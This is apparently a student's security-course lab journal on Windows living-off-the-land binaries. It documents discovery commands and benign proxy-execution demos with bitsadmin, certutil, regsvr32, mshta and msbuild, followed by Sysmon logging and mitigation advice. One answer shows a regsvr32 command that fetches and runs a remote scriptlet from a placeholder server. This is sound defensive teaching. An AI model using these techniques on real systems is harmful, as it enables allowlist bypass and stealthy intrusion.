Entry 4‐ Living Off the Land Binaries (LOLBins) ‐ Execution and Documentation - 229300/SEC-335-01 GitHub Wiki

• Link to LOLBin Identification and Documentation Table: Reference: LOLBins

Questions to Answer:

1. Which LOLBin appears in both advisories?

• 20 LOLBins appear in both advisories but certutil.exe, wmic.exe, and netsh.exe, are all included in the Volt Typhoon advisory and discussed as classic Living Off The Land tools in the NSA/CISA guidance.

2. Why do state-sponsored actors prefer LOLBins over custom malware?

• Because it maximizes stealth and deniability. Signed and native binaries slip past antivirus and application-control rules that would otherwise catch unknown executables. Their activity looks like normal admin work, so it gets lost in the noise of the logs. Nothing is written to disk, which leaves little forensic evidence. No malware sample to reverse-engineer or trace back to anyone. And there's no custom tooling to build or risk exposing.

3. What is the "living off the land" naming convention based on?

• It comes from the well-known expression, surviving off resources already present in your surroundings rather than carrying your own supplies. Applied to intrusions, the threat actor attacks using tools already installed on the target instead of importing their own malware.

1. Command:

systeminfo

• Screenshot:

• What the Output Reveals to an Attacker:

The output identifies the host as DESKTOP-64LA2VE running Microsoft Windows 10 Enterprise LTSC, OS Version 10.0.17763 (Build 17763), configured as a Standalone Workstation in the WORKGROUP domain. An attacker would check the OS version and patch level first: Build 17763 is the older Windows 10 1809 / LTSC 2019 release, and only 6 hotfixes are installed, which strongly suggests the system is missing many later security updates. an unpatched build lets the attacker match it against known public exploits for privilege escalation or remote code execution without needing to find a novel vulnerability.

• MITRE ATT&CK: T1082 (System Information Discovery)

2. Command:

ipconfig /all

• Screenshot:

• What the Output Reveals to an Attacker:

The output shows the host DESKTOP-64LA2VE with the IPv4 address 10.0.17.50, subnet mask 255.255.255.0, default gateway 10.0.17.2, and physical (MAC) address BC-24-11-FA-65-24. An attacker maps the network first: the /24 subnet mask tells them the local network spans 10.0.17.1 through 10.0.17.254, this gives them a defined range of up to 254 hosts to scan for lateral movement, and the default gateway at 10.0.17.2 identifies the router as the path to other network segments. The most valuable field here is the DNS Suffix Search List of cyber.local, a .local domain name is a strong indicator that an Active Directory environment exists.

• MITRE ATT&CK: T1016 (System Network Configuration Discovery)

3. Commands:

net user

net localgroup administrators

• Screenshot:

• What the Output Reveals to an Attacker:

The net user output lists all local accounts on DESKTOP-64LA2VE. An attacker would review the account list to identify targets for credential theft and to separate real user accounts (Administrator, champuser, daniel.scott) from built-in service accounts (DefaultAccount, WDAGUtilityAccount) and the Guest account. The net localgroup administrators output is critical because it names exactly who holds full control of the machine: Administrator, champuser, and daniel.scott are all members of the local Administrators group. This tells the attacker that the currently logged-in user is already a local administrator, meaning no privilege escalation is required on this host. Now they can dump credentials, disable defenses, or install persistence immediately.

• MITRE ATT&CK: T1087.001 (Account Discovery: Local Account) and T1069.001 (Permission Groups Discovery: Local Groups)

4. Command:

tasklist /v

• Screenshot:

• What the Output Reveals to an Attacker:

The output lists every running process on DESKTOP-64LA2VE with its Image Name, PID, Session, memory usage, and owning User Name. An attacker scans the process list to understand what is running on the host and, critically, to check for security software.

• MITRE ATT&CK: T1057 (Process Discovery)

5. Command:

netstat -ano

• Screenshot:

• What the Output Reveals to an Attacker:

The output lists all active TCP/UDP connections and listening ports on DESKTOP-64LA2VE, each tied to a PID by the -o flag. An attacker reads the listening ports first to map the host's attack surface. TCP 135 (RPC), 139 and 445 (SMB/NetBIOS), and the dynamic RPC range (49664–49674) confirm that SMB and RPC services are exposed. These are prime targets for remote exploitation, lateral movement, and credential-relay attacks.

• MITRE ATT&CK: T1049 (System Network Connections Discovery)

6. Command

arp -a

• Screenshot:

• What the Output Reveals to an Attacker:

The output shows the ARP cache for interface 10.0.17.50, listing the IP to MAC mappings of every other host this machine has recently communicated with on the local network. This is the most valuable output for lateral movement so far, because it hands the attacker a ready-made list of live, reachable neighbors without sending a single scan packet.

• MITRE ATT&CK: T1018 (Remote System Discovery)

7. Commands:

whoami /priv

whomai /groups

• Screenshot:

• What the Output Reveals to an Attacker:

The whoami /priv output shows the privileges held by champuser's current token, and nearly all are Disabled. Only SeChangeNotifyPrivilege (bypass traverse checking) is Enabled, which is the default for any standard user. A critical detail is in the whoami /groups output: BUILTIN\Administrators is present but marked "Group used for deny only," and the process is running at Mandatory Label\Medium Mandatory Level rather than High. This is the signature of a UAC filtered (split) token and it confirms that champuser is a local administrator but is currently running a non-elevated process. So the admin rights exist but are switched off in this token, for an attacker this is a major finding because it means no privilege-escalation exploit is needed at all.

• MITRE ATT&CK: T1033 (System Owner/User Discovery) and T1069.001 (Permission Groups Discovery: Local Groups)

8. Command:

wmic qfe list

• Screenshot:

• What the Output Reveals to an Attacker:

The output lists the installed Quick Fix Engineering (QFE) updates, the operating system's patch history on DESKTOP-64LA2VE, showing only six hotfixes: KB5013892, KB4470788, KB4535680, KB4589208, KB5014692, and KB5014031. An attacker will read this as a patch-level fingerprint, and the critical detail is how sparse and old this list is. The most recent InstalledOn dates are 6/19/2022, meaning the system has received no updates in over four years. This tells the attacker the host is almost certainly vulnerable to any privilege-escalation or remote-code-execution flaw patched after mid-2022, and they can look up the specific KB numbers to determine exactly which fixes are present and, due to their absence, which public exploits will work.

• MITRE ATT&CK: T1082 (System Information Discovery)

Questions to Answer:

1. Which binary revealed the most useful information for lateral movement?

• arp -a is the most valuable output for lateral movement so far, because it hands the attacker a ready-made list of live, reachable neighbors without sending a single scan packet.

2. Which binary's output would be most suspicious to a defender?

• Of the commands executed, wmic qfe list would be the most suspicious to a defender because wmic.exe is a well-known LOLBin that appears on virtually every detection watchlist. Also a normal user has no reason to enumerate the machine's complete patch history, whereas an attacker does exactly this to fingerprint missing updates and select an exploit.

3. Why might a threat actor use wmic.exe instead of PowerShell for system queries?

• Because PowerShell is heavily watched and wmic is not. Modern PowerShell has script-block logging, module logging, transcription, and AMSI (Anti-malware Scan Interface) inspecting what it does and many orgs now restrict or monitor it aggressively. wmic.exe is an old legacy binary with almost none of that instrumentation, isn't scanned by AMSI, is frequently ignored by defenders, and can pull the same WMI data. Basically, wmic.exe has lower visibility, while delivering the same result.

• Goal: Execute a benign demonstration on your Windows 10 VM (create a C:\temp folder first, clean up after each test)

• Every test should follow this flow:

• Make the temp file:

mkdir C:\temp

• Ensure file is clean:

dir C:\temp

1. bitsadmin.exe

• Commands:

bitsadmin /transfer demoJob /download /priority normal "http://www.msftconnecttest.com/connecttest.txt" "C:\temp\bits_test.txt"

type C:\temp\bits_test.txt

• Screenshot:

• Why it evades detection:

BITS is the same background service Windows Update and other legitimate Microsoft software use to fetch files, so the download blends into expected system traffic. The request comes from a trusted, signed Windows binary (bitsadmin.exe) rather than an unknown program. And BITS can queue, throttle, and resume transfers quietly in the background, meaning there's no obvious spike and nothing that looks like a suspicious download to a firewall or analyst.

• MITRE ATT&CK: T1197 (BITS Jobs) and T1105 (Ingress Tool Transfer)

• Clean up commands:

del C:\temp\bits_test.txt

bitsadmin /reset

• Looks like:

• Make another temp file

2. certutil.exe encode/decode

• Commands:

"Hello LOLBin" | Out-File -Encoding ascii C:\temp\secret.txt

certutil.exe -encode C:\temp\secret.txt C:\temp\secret.b64

certutil.exe -decode C:\temp\secret.b64 C:\temp\decoded.txt

type C:\temp\decoded.txt

• Screenshot:

• Why it evades detection:

The encode function transforms the file's contents into Base64, which disguises the payload from signature-based and keyword-based scanners. Antivirus and content filters that look for known-bad strings or file signatures see only harmless-looking Base64 text instead of the real content. Attackers use this to smuggle malicious files past inspection. Because certutil.exe is a signed, native Microsoft tool doing what looks like ordinary certificate work, neither the encoding nor the decoding step raises the alarm that running an unknown packer or encoder would.

• MITRE ATT&CK: T1140 (Deobfuscate/Decode Files or Information)

• Clean up this test:

del C:\temp\secret.txt,C:\temp\secret.b64,C:\temp\decoded.txt

3. regsvr32.exe

• Write the script line by line:

@'
<?xml version="1.0"?>
<scriptlet>
<registration progid="Demo" classid="{F0001111-0000-0000-0000-0000FEEDACDC}">
<script language="JScript">
<![CDATA[
    new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
'@ | Set-Content -Path C:\temp\demo.sct -Encoding ascii

• Command:

regsvr32.exe /s /u /i:C:\temp\demo.sct scrobj.dll

• Screenshot:

• Why it evades detection:

regsvr32.exe is a signed, native Microsoft binary whose legitimate job is registering DLLs, so it's trusted and typically allowlisted. Application-allowlisting rules that block unknown executables wave it through.

• MITRE ATT&CK: T1218.010 (System Binary Proxy Execution: Regsvr32)

• Clean up the test:

del C:\temp\demo.sct

4. mshta.exe

• Command:

mshta.exe "javascript:new ActiveXObject('WScript.Shell').Run('calc.exe');close();"

Screenshot:

• Why it evades detection:

mshta.exe is a signed, native Microsoft binary meant to run HTML Applications (.hta), so it's trusted and typically allowlisted. In this form the entire script is passed inline on the command line, so nothing is written to disk. There's also no file artifact for antivirus or a file-scanner to find, making it a genuinely fileless technique.

• MITRE ATT&CK: T1218.005 (System Binary Proxy Execution: Mshta)

• Nothing to clean up/delete because the script wrote no files

5. certutil.exe - file download

• Commands:

certutil.exe -urlcache -split -f "https://example.com/" C:\temp\certutil_test.html

type C:\temp\certutil_test.html

• Screenshot:

• Why it evades detection:

The process is trusted/signed and the traffic looks like an ordinary web request from a legitimate Windows tool.

• MITRE: T1105 (Ingress Tool Transfer)

• Clean up the test:

del C:\temp\certutil_test.html

certutil.exe -urlcache * delete

6. msbuild

• Write Script line by line:

@'
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Demo">
    <DemoTask />
  </Target>
  <UsingTask TaskName="DemoTask" TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Fragment" Language="cs">
        <![CDATA[
          System.Console.WriteLine("LOLBin demo: MSBuild compiled and ran inline C#.");
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
'@ | Set-Content -Path C:\temp\demo.xml -Encoding ascii

• Command:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\temp\demo.xml

• Screenshot:

• Why it evades detection:

MSBuild is a signed Microsoft build tool that ships with .NET, so it's allowlisted. It compiles code in memory, so there's no separate compiler and no malicious binary to catch.

• Clean up the test:

del C:\temp\demo.xml

Questions to Answer:

1. Which LOLBin can download files without triggering typical firewall alerts?

• In my testing, bitsadmin /transfer completed successfully, and the output showed STATE: ACKNOWLEDGED, 1/1 files, 22/22 bytes (100%), and Transfer complete, with the downloaded file containing "Microsoft Connect Test."

2. How can regsvr32.exe execute code without writing files to disk?

• By pointing /i: toward a URL instead of a local path (regsvr32 /s /n /u /i:http://server/demo.sct scrobj.dll), that way regsvr32 fetches the scriptlet and executes it entirely in memory, so nothing ever touches disk.

3. Why is msbuild.exe dangerous in environments with .NET installed?

• Because it will compile and run arbitrary code through a trusted, signed Microsoft binary. There is no separate compiler or malicious executable required. My screenshot demonstrates this directly: I ran MSBuild.exe C:\temp\demo.xml on a project file containing an inline CodeTaskFactory task, and the output shows the Build Engine loading.

Download and install Sysmon. Use the Sysmon XML configuration file from SwiftOnSecurity as a default configuration for what to log.

1. Grab it from Microsoft Sysinternals

• Commands:

bitsadmin /transfer sysmon /download /priority normal "https://download.sysinternals.com/files/Sysmon.zip" "C:\temp\Sysmon.zip"

Expand-Archive C:\temp\Sysmon.zip C:\temp\Sysmon

• Screenshot of Output:

2. Download the SwiftOnSecurity config into the same folder:

• Command:

bitsadmin /transfer cfg /download /priority normal "https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml" "C:\temp\Sysmon\sysmonconfig-export.xml"

• Screenshot of Output:

3. In Elevated PowerShell -> Install Sysmon with that config:

• Commands:

cd C:\temp\Sysmon

.\Sysmon64.exe -accepteula -i sysmonconfig-export.xml

• Screenshot of Output:

Execute at least 5 of your LOLBins and show their execution in the Sysmon logs

• Sysmon Logs:

1. msbuild.exe:

2. mshta.exe:

3. regsvr32.exe:

4. certutil.exe:

5. bitsadmin.exe:

1. Executice Summary- Living Off the Land Binaries (LOLBins) are legitimate, Microsoft-signed executables that ship with Windows and are abused by threat actors to carry out attacks. Because these binaries are trusted, expected on every system, and digitally signed, their malicious use blends in with normal administrative activity while routinely bypassing antivirus and application-allowlisting controls. There is no malware file to signature, little forensic residue, and the process names themselves look benign. The only reliable signal is the command line and the behavior around each execution.

2. LOLBIN Documentation- Link: Reference: LOLBins

3. Execution Evidence- Throughout the Tech Journal

4. Detection Recommendations- Throughout the Tech Journal

5. Mitigation Recommendations- These signed system binaries cannot simply be blocked without breaking Windows, so use them in audit mode first, then constrain high-risk binaries by path, parent, and argument. Enable Microsoft Defender Attack Surface Reduction (ASR) rules that specifically block regsvr32/mshta script abuse and Office child-process creation. Use Group Policy to enable command-line process auditing, which records Event ID 4688 along with the full command line of each process. Turn on PowerShell script-block logging, module logging, and transcription. Forward all of these logs to your SIEM so they can be monitored and analyzed in one place.

Questions to Answer:

1. Which LOLBin would be hardest to detect with standard logging?

• mshta.exe with the inline javascript: payload because it writes no file to disk. This means there's nothing for a file scanner to catch, and the process name is a legitimate signed Windows binary. Without the command-line capture, all a defender sees is: mshta.exe ran, which is unremarkable.

2. What is the trade-off between blocking LOLBin execution and breaking legitimate system functionality?

• You generally can't block OS tooling by name without breaking patching, software installs, and administration, and you'll drown in false positives. So the trade-off is: overblocking causes operational breakage, and underblocking can leave the technique available.

3. How would you prioritize which LOLBins to monitor first?

• I would balance impact against how often it's used legitimately. Prioritizing binaries that are high impact and rarely legitimate.